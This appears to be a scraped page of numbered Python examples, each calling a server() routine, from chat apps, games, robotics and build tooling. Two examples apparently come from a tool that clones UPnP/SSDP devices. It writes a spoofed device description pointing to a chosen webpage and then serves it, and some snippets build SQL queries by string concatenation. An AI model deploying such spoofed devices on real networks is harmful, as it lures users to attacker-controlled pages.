Esempio n. 1
0
def test_msg_received_str():
    """Testing string received at server from client."""
    from server import server
    from client import client
    server()
    client()
    assert len(msg_received) > 2
Esempio n. 2
0
def run():
    # Import enviromental variables
    load_dotenv(dotenv_path='api/variables.env')

    # Init database
    from database import Database
    database = Database(os.getenv('DATABASE_NAME'))

    # Create default access
    error, results = database.find(os.getenv('CLIENTS_COLLECTION'), '')
    if results and len(list(results)) == 0:
        default_client = json.load(open(os.getenv('DEFAULT_TOKEN')))
        error = database.insert_one(os.getenv('CLIENTS_COLLECTION'),
                                    default_client)
        if error:
            print('Default client not created!')
            return
        print('Default client created!')

    # Create necessary folders
    for dir in [
            os.getenv('DATASETS_PATH'),
            os.getenv('INPUT_PATH'),
            os.getenv('OUTPUT_PATH'),
            os.getenv('ZIP_PATH'),
            os.getenv('STORAGE_PATH')
    ]:
        if not os.path.exists(dir):
            os.makedirs(dir)

    # Start server
    from server import server
    server(database)
def main():
    cfg = load_conf()

    if cfg["useSSL"]:
        create_ssl_cert([cfg["backendIP"]])

    if cfg["dbMode"] and cfg["sqlDatabase"] and cfg["sqlPassword"] and cfg[
            "sqlServerIP"] and cfg["sqlUsername"]:
        print("Using " + cfg["dbMode"] + " DB")

        try:
            conn = load_db_conn()[0]
            if cfg["dbMode"] == "mssql":
                init_mssql_db(conn)
            elif cfg["dbMode"] == "mysql":
                init_mysql_db(conn)
            else:
                print(
                    "Error! No valid db mode found. Please use mssql or mysql")
        except Exception as e:
            print(e)
    else:
        print("No db mode set.")

    check_existing_token()
    create_web_config()
    server()
Esempio n. 4
0
def clientLaunch():
	print ("Starting client")
	
	server.server()
	
	print ()
	
Esempio n. 5
0
def run_server():
    port = host_port_entry.get()
    password = host_password_entry.get()
    room_name = host_room_name_entry.get()

    activeWindows.server_window_isactive = True
    server.server(port, password, room_name)
Esempio n. 6
0
def main():
	if(sys.argv[2] == "client"):
		parse = sys.argv[3].split(":")
		client(sys.argv[1], parse[0], int(parse[1]))
	elif (sys.argv[2] == "server"):
		server(sys.argv[1], int(sys.argv[3]))
	else:
		print("Improper input!")
Esempio n. 7
0
 def server_options(self):
 
     system = platform.system()
     
     if(system == 'Windows'):
         server.handle_server()
     
     else:
         server.server()
Esempio n. 8
0
def save():
    h = host.get()
    p = port.get()
    q = quiz.get()
    ct.append(h)
    ct.append(p)
    ct.append(q)
    #print ct
    from server import server
    server()
Esempio n. 9
0
 def gencloned(self):
     # DEVICETYPE SERVICE TYPE SERVICE ID
     os.system('clear')
     print('Which domain you want for the device cloned?\n')
     domain_rev = input("\nDomain '[NAME].local': ")
     # LOGIN ROUTE
     os.system('clear')
     print('Where the webpage is located?\n'
           'folder/./file.ext or file.ext')
     web = input("\nWebpage location: ")
     FN = utils.get_friendlyname(None)
     MF = utils.get_manufacturer(None)
     MD = utils.get_model(None)
     UUID = utils.get_uuid(None)
     urn1 = utils.get_device(None)
     urn2 = utils.get_service(None)
     urn3 = utils.get_serviceid(None)
     xml = ('<?xml version="1.0"?>\r\n'
            '<root xmlns="urn:schemas-upnp-org:device-1-0">\r\n'
            '\t<specVersion>\r\n'
            '\t\t<major>1</major>\r\n'
            '\t\t<minor>0</minor>\r\n'
            '\t</specVersion>\r\n'
            '\t<URLBase>http://' + domain_rev + ':8008</URLBase>\r\n'
            '\t<device>\r\n'
            '\t\t<presentationURL>http://' + domain_rev + ':8008/' + web +
            '</presentationURL>\r\n'
            '\t\t<deviceType>' + urn1 + '</deviceType>\r\n'
            '\t\t<friendlyName>' + FN + '</friendlyName>\r\n'
            '\t\t<modelDescription>Connect to access</modelDescription>\r\n'
            '\t\t<manufacturer>' + MF + '</manufacturer>\r\n'
            '\t\t<modelName>' + MD + '</modelName>\r\n'
            '\t\t<UDN>' + UUID + '</UDN>\r\n'
            '\t\t<serviceList>\r\n'
            '\t\t\t<service>\r\n'
            '\t\t\t\t<serviceType>' + urn2 + '</serviceType>\r\n'
            '\t\t\t\t<serviceId>' + urn3 + '</serviceId>\r\n'
            '\t\t\t\t<controlURL>/ssdp/notfound</controlURL>\r\n'
            '\t\t\t\t<eventSubURL>/ssdp/notfound</eventSubURL>\r\n'
            '\t\t\t\t<SCPDURL>/ssdp/notfound</SCPDURL>\r\n'
            '\t\t\t</service>\r\n'
            '\t\t</serviceList>\r\n'
            '\t</device>\r\n'
            '</root>')
     tfile = open('ssdp.xml', 'w+')
     tfile.write(xml)
     tfile.close()
     os.system('clear')
     print('You want to start the server now or exit?')
     choose = input("\n1) Start the server or 2) Exit: ")
     os.system('clear')
     if choose == "1":
         server()
     elif choose == "2":
         BYE()
Esempio n. 10
0
def main():
    """
        The main function of the program if an argument is given it will recognize it and execute the proper function.\n

        If no argument is provided it will show a menu with all the available options to the user.
    """
    arguments = len(sys.argv) - 1

    if arguments == 0:
        os.system('clear')
        print(
            'What you want to do?\n'
            '\n1) Generate XML // 2) Start server // 3) Clone // 4) Help // 5) List devices options // 6) Exit\n'
        )
        choose = input("Selection: ")
        os.system('clear')
        if choose == "1":
            genxml()
        elif choose == "2":
            server()
        elif choose == "3":
            clone()
        elif choose == "4":
            show_help()
        elif choose == "5":
            show_devices()
        else:
            BYE()
    else:
        try:
            # Checks the arguments provided to see if are valid.
            arguments, _ = getopt.getopt(argument_list, short_options,
                                         long_options)
        except getopt.error:
            exit()

        # Loop through the arguments checking for matches if the argument received is not
        # listed it will return an eror and exit the program
        for current_argument, _ in arguments:
            if current_argument in ("-h", "--help"):
                show_help()
            if current_argument in ("-g", "--genxml"):
                genxml()
            if current_argument in ("-s", "--server"):
                server()
            if current_argument in ("-c", "--clone"):
                clone()
            if current_argument in ("-l", "--list"):
                show_devices()
Esempio n. 11
0
	def start_server(self, *args):
		args = args[0]
		name = args[0]
		if name in self.serverManager.server_data.keys():
			if not (name in self.serverManager.servers.keys()):
				self.serverManager.servers[name] = server(self.serverManager.server_data[name], self.messageQueue)
				self.serverManager.servers[name].start()
			elif not self.serverManager.servers[name].is_alive():
				self.serverManager.servers[name] = server(self.serverManager.server_data[name], self.messageQueue)
				self.serverManager.servers[name].start()
			else:
				return name + " is already running."
		else:
			return name + " is not a valid server name."
		return "success"
Esempio n. 12
0
def FAVG_init():
    # get IID data list for client list
    num_expamples_list_in_clients = [
        1000, 2000, 1500, 500, 3000, 1000, 1000, 2000, 1500, 2000
    ]
    client_train_data_list, client_test_data_list, server_test_dataset = generate_clients_data(
        num_expamples_list_in_clients,
        num_clients=10,
        IsIID=True,
        batch_size=100,
        tt_rate=0.3)
    # experiment model
    model = mnist_model(comp_model=False)

    # set dataset for server
    server_0 = server(test_dataset=server_test_dataset, server_model=model)

    # client set list
    clients_list = []

    # set dataset for clients
    client_name_list = list('client_{}'.format(i) for i in range(10))
    for i in range(len(num_expamples_list_in_clients)):
        client_data_dict = {
            'train': client_train_data_list[i],
            'test': client_test_data_list[i]
        }
        clients_list.append(
            client(local_dataset=client_data_dict,
                   client_name=client_name_list[i],
                   local_model=model))
    return server_0, clients_list
Esempio n. 13
0
def queryDB(db, selectArg, fromArg, whereArg, where):
    '''
	queryDB:
		A pretty specific query to the SQL DB, just used to save myself repetetive typing, and to make
		some code a little cleaner.  Not really general enough for external use, what you probably want
		is server.Command(str) or bugzServer.Command(str).
	'''

    if db == None:
        db = server.server()
        db.Connect()

    if type(where) == str:
        appendString = whereArg + "=" + where[:]

    elif type(where) == list:
        appendString = "("

        for cycle in where:
            if type(cycle) == int:
                appendString += "%s=%s OR " % (whereArg, str(cycle))
            elif type(cycle) == str:
                appendString += "%s='%s' OR " % (whereArg, cycle)
        appendString = appendString[:-4] + ")"

    return db.Command('''SELECT %s FROM %s WHERE %s''' %
                      (selectArg, fromArg, appendString))
Esempio n. 14
0
 def __init__(self, host_server, port_server, max_connections, max_bytes, first,game):
     self.first = first
     self.game = game
     if(first==True):
         self.server = client(host_server,port_server, max_bytes)
     else:
         self.server = server("",port_server,max_connections,max_bytes)
Esempio n. 15
0
def _connect():
    s = server.server()
    errmsg = s.Connect()
    if type(errmsg) == type(""):
        print errmsg
        raise Exception, "ezLogDB: couldn't connect to mysql server: " + errmsg
    return logDB.logDB(s)
Esempio n. 16
0
	def start(self, board, camera):
		self.hello = "hello"
		test = "test"
		self.board = board
		self.camera = camera
		self.webServer = server.server(80, self.board, self.camera)
		self.webServer.start(True)
Esempio n. 17
0
    def __init__(
            self,
            fun_fp,
            T,
            means,  # M*K
            alpha,
            reward='Gaussian'):
        self.M = means.shape[0]
        self.K = means.shape[1]
        self.local_means = means
        self.reward_type = reward
        self.alpha = alpha
        self.T = T
        self.C = 1
        self.comm = 0

        self.global_means = np.sum(self.local_means, axis=0) / self.M
        self.clients = [
            client(index=i,
                   thorizon=self.T,
                   narms=self.K,
                   nclients=self.M,
                   palpha=self.alpha,
                   fp=fun_fp) for i in range(self.M)
        ]
        self.server = server(narms=self.K, nclients=self.M)
Esempio n. 18
0
    def __init__(self, name, M0b=18, M0f=23, M1b=24, M1f=25, T1=4, E1=17, simulation=False):
#GPIO: 4 17 21 22
#pin : 7 11 13 15

#GPIO: 18 23 24 25
#pin : 12 16 18 22

        self.logger = logging.getLogger('myR.rover')
        self.name = name
        self.version = 1
        self.simulation = simulation
        self.ip = '192.168.0.10'
        self.speed = 100  # [mm/s]
        self.speedMax = 1000  # [mm/s]

        self.voltage = 6  # [V]
        self.mass = 2  # [Kg]
        self.Lenght = 180  # [mm]
        self.wheelR = 32  # [mm]

        self.time360 = 2  # [sec]

        self.data = datacollector()
        self.camera = camera(self.data)
        self.camserver = camserver(self.data)
        self.sensor = us_sensor('S1', T1, E1, self.data)
        self.motorLeft = DCmotor('MLeft', M0b, M0f, 11, 12)
        self.motorRight = DCmotor('MRight', M1b, M1f, 13, 14)

        self.rc = rc(self.data)
        self.server = server(self.data)
Esempio n. 19
0
def main():

    db = server.server()

    try:
        db.Connect()
    except:
        print "Could not connect to database.  Aborting"
        sys.exit(1)

    #result = db.Command('''SELECT id FROM release_cycle WHERE processed="N"''')
    #cycleResults = map(lambda x: int(x['id']), result)
    #result = db.Command('''SELECT id FROM merged WHERE %s''' % (appendString))
    #return result

    result = queryDB(db, 'id', 'release_cycle', 'processed', '"N"')
    idList = map(lambda x: int(x['id']), result)

    result = queryDB(db, 'id', 'merged', 'release_cycle_id', idList)
    idList = map(lambda x: int(x['id']), result)

    result = queryDB(db, 'id', 'combined', 'merged_id', idList)
    idList = map(lambda x: int(x['id']), result)

    result = queryDB(db, 'build_id', 'release_request', 'combined_id', idList)
    idList = map(lambda x: int(x['build_id']), result)

    result = queryDB(db, 'tag', 'build', 'id', idList)
    resultList = map(lambda x: str(x['tag']), result)

    for result in resultList:
        print result
Esempio n. 20
0
	def install(self):
		ret = super(xen_driver, self).install()
		if ret: return ret

		# get server object to work with
		srv = server.server(self.server)

		# see if it's already installed
		ret = self.__installed(srv)
		if ret == errors.DRIVER_ALREADY_INSTALLED:
			return ret

		# get distro
		distro = srv.get_remote_distro()

		if distro == "redhat":
			# get YUM package
			(exit_code,_,_) = srv.do_execute(
				"yum -y install xen xen-libs kernel-xen"
			)

			if exit_code != 0:
				return errors.throw(errors.DRIVER_INSTALL_FAIL)

			return errors.throw(errors.ERR_SUCCESS)

		return errors.throw(errors.DRIVER_OS_NOT_SUPPORTED)
Esempio n. 21
0
    def simulate_game(
        self,
        team_a: str,
        team_b: str,
        repetition: int = 10000,
        season_of_A: int = 2020,
        season_of_B: int = 2020,
    ):
        """
        Return the probabilities of each team winning the matchup, the predicted scores, and the probability of them going to overtime.\n

        Arguments :
            team_a (str) : full team name, or team abbreviation, or partial string of team name of the first team. 
            \n
            team_b (str) : full team name, or team abbreviation, or partial string of team name of the second team. 
            \n
            repetition (int): how many times to repeat the simulation (by default, 10,000) to output average sample probabilities
            that will approach the real probabilities by Central Limit Theorem. 
            \n
            season_of_A (int) : which seasonal-version of team A to use for simulation. 
            \n
            season_of_B (int) : : which seasonal-version of team A to use for simulation. 
        """
        return server.simulate(server(), team_a, team_b, repetition,
                               season_of_A, season_of_B)
Esempio n. 22
0
def form_delete():
    print(request.data)
    if request.method == 'DELETE':
        name = request.form['Title']
        ser = server()
        ser.delete(name,myclient)
    return 'OK'
Esempio n. 23
0
	def __init__(self):
		#this function will do what is necessary to load preferences, create an empty server,
		#etc, etc
		self.serverlist = []
	#	self.s = server.server(self.tk, hostname='irc.synirc.org', nick='zobzan' )
		self.createtk()
		self.s = server.server(self.tk, hostname='irc.synirc.org', nick='zobzan' )
Esempio n. 24
0
    def writeContent(self):
        self.db = server.server()
        err = self.db.Connect()
        if type(err) == ErrType:
            self.writeError(err)
            return
        #else

        self.bugzDB = bugzServer.server()
        err = self.bugzDB.Connect()
        if type(err) == ErrType:
            self.writeError(err)
            self.db.Close()
            return
        #else

        self.pyroServer = pyroServer.server()
        err = self.pyroServer.Connect()
        if type(err) == ErrType:
            self.writeError(err)
            self.pyroServer.Close()
            return
        #else

        self.realWriteContent()

        self.db.Close()
        self.bugzDB.Close()
        self.pyroServer.Close()
        return
Esempio n. 25
0
def bad_leader_is_elected_i(k=1):
    global num_of_times
    global mediator_server
    num_of_times = k
    servers = []
    servers_threads = []
    # initiate and run mediator
    med_th = threading.Thread(target=mediator_server.work)
    med_th.start()
    # initiate and run servers

    for i in range(N):
        servers.append(server(host, port, i, ideal_functionality))
        servers_threads.append(threading.Thread(target=servers[-1].start_work))
    for s in servers_threads:
        s.start()
    while True:
        states = []
        for s in servers:
            states.append(s.get_stage())
        if states.count("DECIDED") >= N - F:
            print("*****decision has made!****")
            for s in servers:
                s.set_quit()
            mediator_server.set_quit()
            exit(1)
Esempio n. 26
0
	def activate(self):
		ret = super(xen_driver, self).activate()
		if ret: return ret

		# get server object to work with
		srv = server.server(self.server)

		# get the kernel number from the grub config
		(_,stdout,_) = srv.do_execute(
			"/usr/bin/env grep -E \"^[ ]*title\" %s | " %
				glob.config.get("paths", "grub_config") +
			"/usr/bin/env grep -B 1000 xen | /usr/bin/env wc -l"
		)

		grub_number = int(stdout[0])-1

		# set the xen to boot as the default kernel
		srv.do_execute(
			"/usr/bin/env sed -r \"s/^[ ]*default[ ]*=.*$/default=%s/g\" " %
				grub_number +
			"-i %s" % glob.config.get("paths", "grub_config")
		)

		# reboot if necessary
		if self.reboot:
			# backgrounded, just in case it matters
			srv.do_execute("%s -r now &" % glob.config.get("paths", "shutdown"))

		return errors.throw(errors.ERR_SUCCESS)
Esempio n. 27
0
    def __init__(self):
        super().__init__()

        self.server = server.server()
        self.server.start()
        print("SERVER OK")
        self.aiser = ais.AIS()
        self.aiser.start()
        print("AISER OK")
        mv = mavlink.mavlink()
        self.mavlinker = mv
        self.mavlinker.pid.setSampleTime(T)

        @mv.vehicle.on_message('RANGEFINDER')
        def listener(self, name, message):
            stt = fileHandler.loadJsonFromFile('state.json')
            stt["dph"] = message.distance
            fileHandler.saveStateToFile(stt)

        @mv.vehicle.vehicle.on_message('GLOBAL_POSITION_INT')
        def listener(self, name, message):
            stt = fileHandler.loadJsonFromFile('state.json')
            stt["lng"] = message.lon
            stt["lat"] = message.lat
            stt["heading"] = message.hdg
            stt["vx"] = message.vx
            stt["vy"] = message.vy
            fileHandler.saveStateToFile(stt)

        # self.mavlinker.arm()
        print("MAVLINKER OK")
        self.itercnt = 0
Esempio n. 28
0
    def getRequestedVersions(self):
        '''Release build.  Build a dict.  <collection_name>: fully qualified path to tarball'''
        retdict = {}
        db = server.server()
        db.Connect()
        results = db.Command(
            'SELECT name,version from Mvl6Cfg.RequestedCollections WHERE breq_id=%s'
            % self.ReleaseID)

        for result in results:
            cname = result['name']
            cver = result['version']

            buildresults = db.Command(
                '''SELECT filename, buildtag FROM Mvl6Cfg.Collections c, Mvl6Cfg.Builds b WHERE \
									   cname='%s' and version=%s and c.builds_id=b.id''' % (cname, cver))

            for bresult in buildresults:
                filename = bresult['filename']
                buildtag = bresult['buildtag']

                fqpath = os.path.join('/mvista/dev_area/mvl6', buildtag,
                                      filename)
                if os.path.exists(fqpath):
                    retdict[cname] = fqpath
                    break

        return retdict
Esempio n. 29
0
def forms():
    print(request.data)
    if request.method == 'GET':
        name = request.form['Title']
        ser = server()
        ser.getPersonMessage(name,myclient)
    return 'OK'
Esempio n. 30
0
def new_game_menu():
    pygame.init()
    pygame.display.set_caption('Server waiting room')
    window_surface = pygame.display.set_mode((800, 600))
    background = pygame.Surface((800, 600))
    background.fill(pygame.Color('#000000'))
    manager = pygame_gui.UIManager((800, 600))
    schetchik_box = pygame_gui.elements.UILabel(relative_rect=pygame.Rect(
        (350, 190), (100, 50)),
                                                text='1 user',
                                                manager=manager)
    ip_port_box = pygame_gui.elements.UITextEntryLine(
        relative_rect=pygame.Rect((320, 250), (160, 50)), manager=manager)
    ip_port_box.text = server.get_ip()
    start_game_button = pygame_gui.elements.UIButton(relative_rect=pygame.Rect(
        (350, 310), (100, 50)),
                                                     text='Start game',
                                                     manager=manager)

    server.server()
    clock = pygame.time.Clock()
    is_running = True

    while is_running:
        time_delta = clock.tick(60) / 1000.0
        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                is_running = False

            manager.process_events(event)

            if event.type == pygame.USEREVENT:
                if event.user_type == pygame_gui.UI_BUTTON_PRESSED:
                    if event.ui_element == start_game_button:
                        # is_running = False
                        while server.STATE_GAME != 2:
                            pass
                        return 'go'

        manager.update(time_delta)

        window_surface.blit(background, (0, 0))
        manager.draw_ui(window_surface)
        draw_text('main menu', pygame.font.SysFont(None, 20), (255, 0, 0),
                  window_surface, 20, 20)

        pygame.display.update()
Esempio n. 31
0
 def __init__(self, **kwargs):
   super(Game, self).__init__(**kwargs)
   self.players = []
   self.player_count = 0
   self.animals = []
   self.vision = Vision()
   self.server = server(self.send_status, self.add_player, self.remove_player)
   self.server.main()
Esempio n. 32
0
 def _getLaunchCommand(self):
     db = server.server()
     db.Connect()
     result = db.Command(
         'SELECT launchCmd FROM Mvl6Cfg.MSDs m WHERE m.name="%s"' %
         self._MSDName)[0]['launchCmd']
     db.Close()
     return result
Esempio n. 33
0
 def _getKernelVersion(self):
     db = server.server()
     db.Connect()
     result = db.Command(
         'SELECT kernelVer FROM Mvl6Cfg.MSDs m WHERE m.name="%s"' %
         self._MSDName)[0]['kernelVer']
     db.Close()
     return result
Esempio n. 34
0
    def __init__(self, connect_callback, recvd_data):

        super(serv_interface, self).__init__()

        self.connect_signal.connect(connect_callback)
        self.data_signal.connect(recvd_data)
        self.server_obj = server.server(connect=self.connect_signal,
                                        data_recd=self.data_signal)
Esempio n. 35
0
    def create_global(self, args):
        args = self.args(args)

        projectname = self.get_from_args('project', args)

        server('project do initialize -p name=' + projectname).start_command()

        server('html do create file -p name=index title=Accueil project=' +
               projectname + ' content=<h1>|Hello|Je|suis|sur|le|projet|qui|s\'appel|' + projectname + '|</h1>') \
            .start_command()

        server('php do create file -p name=script1 project=' +
               projectname).start_command()
        server('css do create file -p name=style project=' +
               projectname).start_command()
        server('js do create script -p name=script1 project=' +
               projectname).start_command()
Esempio n. 36
0
def client(msg):
    c = server()
    r = c.send(None)
    r1 = c.send(msg)
    print('r:%s' % r)
    #c.send(msg)
    print('r1:%s' % r1)
    c.send(msg)
Esempio n. 37
0
def main():
    """ 
    Main event loop that launches a Clue-Less server and listens for incoming
    connections and messages from clients.
    """
    s = server.server('192.168.100.14', 4004)
    #s = server.server('10.0.1.10', 4004)
    
    while True:
        try:
            # Accept new connections
            if s.acceptingConnections:
                while True:
                    try:
                        conn, addr = s.accept()
                    except:
                        break
                    s.acceptConnection(conn)

            # Read from connections
            for name, conn in s.users.items():
                try:
                    r = conn.recv(1024).strip()
                except socket.error:
                    continue
                message = s.decrypt(r)
                if '::' in message:
                    splt = message.split('::')
                    if splt[0] == 'function':
                        splt2 = splt[1].split(':')
                        if splt2[0] == 'createNewGame':
                            s.createNewGame()
                        elif splt2[0] == 'joinGame':
                            s.joinGame(name, splt2[1])
                        elif splt2[0] == 'ready':
                            s.addReadyPlayer(name)
                        elif splt2[0] == 'start':
                            s.startGame(name)
                        elif splt2[0] == 'movePlayer':
                            s.handleMove(name,splt2[1])
                        elif splt2[0] == 'endTurn':
                            s.endTurn(name)
                        elif splt2[0] == 'makingSuggestion':
                            s.handleSuggestion(name,splt2[1])
                        elif splt2[0] == 'revealCard':
                            s.revealCard(name,splt2[1],splt2[2])
                        elif splt2[0] == 'makingAccusation':
                            s.handleAccusation(name,splt2[1])
                    elif splt[0] == 'message':
                        s.broadcastMessageToAll(0, '%s> %s' % (name, splt[1]))
                else:
                    if not message:
                        # Empty string is given on disconnect
                        s.removePlayer(name)
            time.sleep(.1)
        except (SystemExit, KeyboardInterrupt):
            break
Esempio n. 38
0
    def runAll(self):      
        count = 1
        serv = server('192.168.2.103',52000)
        serv1 = server('192.168.2.103',52002)
        serv2 = server('192.168.2.103',52001)
        accel = accelerometer()
        meas = measure()
        bAndT = batteryandtemp()
        print bAndT.Batt[0]
        print bAndT.Temp[0]
        print bAndT.stopBase[0]
        print bAndT.stopRadiom[0]
        thread1 = threading.Thread(target=serv.listun,args=(0, accel,meas,bAndT))
        thread2 = threading.Thread(target=serv1.listun,args=(1,accel,meas,bAndT))
        thread3 = threading.Thread(target=serv2.listun,args=(2,accel,meas,bAndT))
        thread1.start()
        thread2.start()
        thread3.start()
        while count == 1 :
            serv.data = map(TramAction, serv.dataT)
	    self.currentState.run(serv,serv2,accel,meas,bAndT)

            if((bAndT.Batt[0] != 0.0 and bAndT.Batt[0] < 11.75) or (bAndT.Temp[0] != 0.0 and bAndT.Temp[0] > 40) or int(bAndT.stopBase[0]) == int(1.0) or int(bAndT.stopRadiom[0]) == int(1.0)) :
                serv.dataT[0] = (str("shutdown"))
                serv.data = map(TramAction, serv.dataT)
                 
            if str(serv.data[0]) == str('measure'):
                serv2.wait=1


	    self.currentState = self.currentState.next(serv.data[0])

	    if(thread1.isAlive() == False) :
                thread1 = threading.Thread(target=serv.listun,args=(0, accel,meas,bAndT))
                thread1.start()

	    if(thread2.isAlive() == False) :
                thread2 = threading.Thread(target=serv1.listun,args=(1,accel,meas,bAndT))
                thread2.start()

            if(thread3.isAlive() == False) :
                thread3 = threading.Thread(target=serv2.listun,args=(2,accel,meas,bAndT))
                thread3.start()
Esempio n. 39
0
def main():
	#print "[b]roadcast or [l]isten? Why not both!"

	print "Looking for already existing network of elevators"

	heis = client()
	try:
		result = 0
		for i in range(1): # Try 3 times to connect
			result = heis.start()

			if result == 2: # 
				print "DURR"
				break

			elif result == 0:
				while heis.alive: sleep(0.2)
				print "Server died, my turn to take over"
				synch = heis.server_synch
				ip = heis.my_address
				hardware = heis.elevator_hardware
				heis.delete()
				heis = server(synch[0].keys(), synch[0], ip, synch[1], hardware)
				print "Takin ova"
				heis.start()
				break

		if result == 1:
			print "I am now master"
			ip = heis.my_address
			hardware = heis.elevator_hardware
			heis.delete()
			heis = server(my_ip=ip, elevator_hardware=hardware)
			heis.start()

	except:
		print "FAIL"
		print sys.exc_info()[0]
		print traceback.print_tb(sys.exc_info()[2])
	heis.delete()
	heis.delete_driver()
	exit()
Esempio n. 40
0
	def __init__(self):
		#read glade file
		self.builder = gtk.Builder()
		self.builder.add_from_file("rad_gui.glade")
		#init server
		self.server = server.server(self,on_new_client_callback,on_recv_msg_callback)
		self.server.start()
		#get the main window, and connect all eventes
		self.window = self.builder.get_object("MainForm")
		if self.window:
			self.builder.connect_signals(self)
			self.window.show()
Esempio n. 41
0
def server(args):
    """
    Creates a server and sends all inputs to connected clients
    """
    # Create the server object
    test = sillystream_server.server()
    # Start the server in a thread
    test.start_thread(**args)
    # In python 2x you need to send a ctrl-d to flush the buffer
    # and send everything you have typed and hit enter on
    for send in sys.stdin:
        # Python 2x reads in unicode weird
        if (sys.version_info < (3, 0)):
            send = send.decode(constants.ENCODEING)
        # Send any input
        test.write(send)
Esempio n. 42
0
  def run(self):
    s = server(self.host, self.port, self.username, None)

    try:
      if(not s.has_dir(self.path)):
        s.mkdir(self.path)
        s.init_git(self.path)
        s.add_remote(self.path, "github", "git://github.com/" + self.gh_username + "/" + self.repo + ".git")

      if not ("github" in s.get_remotes(self.path)):
        s.add_remote(self.path, "github", "git://github.com/" + self.gh_username + "/" + self.repo + ".git")

      s.pull(self.path, "github", self.branch)

      print s.stdout + "\n========\n\n" + s.stderr
    except Exception as ex:
      print ex.__str__()
Esempio n. 43
0
	def add_once(self, host, port, selfreg=False, suggested=False, persistent=False, force=False, checkport=True, file=None, quicktest=False): # add server if it doesn't already exist, return (serverobject, existed)
		if (not force) and self._isbanned(host, port):
			debug.msg(serverlist.DBGTAG_REFUSED, "refused a banned server at %s:%d" % (host, port))
			return None, False
		else:
			if checkport and (port < 0 or port > 65534):
				debug.msg(serverlist.DBGTAG_INVALIDPORT, "trying to add a new server with an invalid port: %s:%d" % (host, port))
				return
			s = self.find(host, port)
			if s:
				existed = True
			else:
				s = server(host, port)
				self._append(s)
				existed = False
			if selfreg: s.selfreg = True # whether this server has registered itself to gamemod (and not arrived via sauerbraten.org)
			if (not existed) and suggested: s.suggested = True # whether this server has been suggested to gamemod and was unknown before (and not arrived via sauerbraten.org)
			if persistent: s.persistent = True # whether this server should never be kicked from the pending servers list
			if file: s.fromfile = file
			if (not existed) and quicktest: s.quicktest = True # whether this server should be tested for registration quickly (= kick it if it does not already reply within one request and config.PING_INTERVAL)
			return s, existed
Esempio n. 44
0
def train(num_training=20, num_test=10):
    input_files = glob.glob('MovieReviews/txt_sentoken/pos/*.txt')
    s = server(MAX=int(sys.argv[1]))
    A = [(inp, 'pos') for inp in input_files[0:num_training]]
    input_files = glob.glob('MovieReviews/txt_sentoken/neg/*.txt')
    A.extend([(inp, 'neg') for inp in input_files[0:num_training]])
    s.addJobs(A)
    #print A
    print "Traing classifier on the following files: "
    #print "File name          file type"
    headers = ["File Name", "file review type"]
    table = zip([i[0][30:len(i[0])-1] for i in A], [i[1] for i in A])
    print tabulate(table, headers, tablefmt="grid")
    """
    for i in A:
	print i[0][26:len(i[0])-1],
        print "       ",
	print i[1]
    """
    training = s.start()
    cl = NaiveBayesClassifier(training)
    return cl
Esempio n. 45
0
    def cron_daily(self):
        # get servers
        ac = api.api_call("server_list", {})
        ret = ac.execute()
        if ret != errors.ERR_SUCCESS:
            return ret
        servers = ac.output()

        # loop servers
        for remote_server_dict in servers:
            # nothing update on master
            if remote_server_dict["parent_server_id"] == 0:
                continue

                # master
            server_dict = self.get_dict()
            # slave
            server_dict["remote_server"] = remote_server_dict

            # call its cron_daily command
            server_obj = server(server_dict)
            ret = server_obj.cron_daily()
            if ret != errors.ERR_SUCCESS:
                return ret
Esempio n. 46
0
def main():
    args = parser.parse_args()
    server(args.ip[0], args.port[0], args.channel[0], LOCATION_FILE).run()
Esempio n. 47
0
 def run(self):
     server('localhost', 3001, communication=self.communication)
Esempio n. 48
0
    @server()
    @mock_streams("both")
    def test_warn_only_does_not_imply_hide_everything(self):
        run("ls /simple", warn_only=True)
        assert sys.stdout.getvalue() != ""


class TestMultipleOKReturnCodes(FabricTest):
    @server(responses={"no srsly its ok": ["", "", 1]})
    def test_expand_to_include_1(self):
        with settings(quiet(), ok_ret_codes=[0, 1]):
            eq_(run("no srsly its ok").succeeded, True)


slow_server = server(responses={"slow": ["", "", 0, 3]})
slow = lambda x: slow_server(raises(CommandTimeout)(x))


class TestRun(FabricTest):
    """
    @server-using generic run()/sudo() tests
    """

    @slow
    def test_command_timeout_via_env_var(self):
        env.command_timeout = 2  # timeout after 2 seconds
        with hide("everything"):
            run("slow")

    @slow
Esempio n. 49
0
#! /usr/bin/python
# -*- coding:utf-8 -*-
import os
import sys

sys.path.append(os.path.abspath(os.path.abspath(".") + os.sep + ".."))

from server import server

if __name__ == "__main__":
    _server = server(dbserver="localhost", svcname=11810, usr="******", passwd="admin")
    _server.run(10086, 10)
Esempio n. 50
0
                     elif (recv_data== "ConnectionEstablishmentInformation"):
                         #data will have URL and IP adress
                         URL=data[0]
                         ip_address=data[1]
                         
                         print "Transferring %s data to %s"%(URL, ip_address)
                         
                         #Download the data and Send the data to the ip address specified                
                         
                         my_list=["Download_file", 0]
                         sock.sendto(repr(my_list), value.addr)
                         ack, addr=sock.recvfrom(1024)
                         if (ack=="Download_file_ack"):
                             k.setblocking(0)
                             # Call the interface function to download the file and send it to the specified IP address
                             ret=server.server(URL, ip_address)
                             k.setblocking(1)
                             if ret==0:
                                   print "Done transferring data"
                             list2=["TransferProvided", 0]
                             sock.sendto(repr(list2), network_addr) 
                   
                     elif (recv_data =="TransferAck"):
                        print "Releasing resources"           
                     
                     # Make this a non blocking socket again
                     k.setblocking(0)
                           
 except KeyboardInterrupt:
     s.close()
     k.close()
Esempio n. 51
0
# Der oprettes henvisninger til klasser så de kan bruges som argumenter til
# andre metoder
clients = server.clients()
cv = threading.Event()


# En tråd til at sende seriel data til klienterne oprettes
sender = server.serialSendToClients(cv, clients, "Consumer",)
sender.setDaemon(True)
sender.start()


# En tråd til at modtage seriel data fra bilen oprettes
serial = server.serial(cv, ser, sender)
serial.setDaemon(True)
serial.start()


print "Server started (Port: %d)," %PORT


while True:
    # Der oprettes en tråd for hver klient der tilslutter
    conn, addr = s.accept()
    clients.addClient(conn, addr)
    th = server.server(args=(conn, addr, clients))
    th.setDaemon(True)
    th.start()

Esempio n. 52
0
import sys
import server

if len(sys.argv) < 3:
    print "Usage is filename <ip> <port>"
    exit()

ip = sys.argv[1]
port = int(sys.argv[2])

#connect to my drone that is on IP =ip and open a port on the panda board to listen to my commands
#the panda board recieves my commands on the port passed to the server function and relay this commands to the real drone

server.server(ip, port)
 def run(self):
     print "Start listening to Pd..."
     server('localhost', 3001, communication=self.communication)
     print "Stopped listening to Pd."
Esempio n. 54
0
	def __init__(self):

